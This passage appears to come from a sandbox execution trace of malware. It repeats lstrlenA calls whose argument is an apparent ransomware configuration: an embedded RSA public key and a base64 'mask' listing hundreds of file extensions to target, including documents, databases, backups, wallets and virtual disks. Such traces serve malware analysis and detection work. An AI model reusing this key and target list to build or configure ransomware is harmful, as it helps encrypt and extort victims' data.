ZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsI